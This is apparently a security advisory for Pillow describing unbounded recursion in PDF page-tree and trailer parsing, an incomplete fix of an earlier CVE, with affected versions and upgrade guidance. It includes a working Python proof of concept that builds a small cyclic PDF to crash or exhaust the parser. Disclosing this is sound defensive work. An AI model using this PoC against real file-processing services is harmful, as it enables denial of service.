---
id: CVE-2026-112895
aliases:
  - GHSA-p4wg-p73j-c528
  - BIT-pillow-2026-112895
title: >-
  Pillow: Unbounded recursion parsing a PDF page tree or trailer chain
  (incomplete fix for CVE-2026-42310)
summary: >-
  Pillow: Unbounded recursion parsing a PDF page tree or trailer chain
  (incomplete fix for CVE-2026-42310)
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: pillow
product: pillow
ecosystem: pip
affected:
  - 'pillow >= 5.1.0, < 13.0.0'
patched:
  - pillow 13.0.0
published: '2026-10-20'
updated: '2026-10-26'
sourceUpdated: '2026-10-26T08:55:38.434240536Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528'
references:
  - url: >-
      https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112895'
  - url: >-
      https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf
  - url: 'https://github.com/python-pillow/Pillow'
  - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0'
  - url: >-
      https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112895.json
  - url: 'https://access.redhat.com/security/cve/CVE-2026-112895'
  - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2555879'
  - url: 'https://www.cve.org/CVERecord?id=CVE-2026-112895'
  - url: 'https://github.com/advisories/GHSA-p4wg-p73j-c528'
tags:
  - osv
  - pip
  - csaf
  - vex
  - red-hat
  - ghsa
  - cve.org
epss: 0.00417
epssPercentile: 0.35873
ssvc:
  exploitation: none
  automatable: 'yes'
  technicalImpact: partial
  timestamp: '2026-10-20T15:19:07.895448Z'
cvssSource: vendor
cwe:
  - CWE-835
  - CWE-674
scores:
  vendor: 7.5
  cna: 8.7
ingestedAt: '2026-10-19T22:46:42.329Z'
---

## Overview

### Summary
When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:

- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer` catches only a repeated offset:

- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)

### PoC
```python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way
```

Run it:
```
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
```

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.

### Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.

## Affected packages

- `pillow >= 5.1.0, < 13.0.0`

## Remediation

Upgrade to a patched release:

- `pillow 13.0.0`

## Vendor advisories

- **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112895.json)
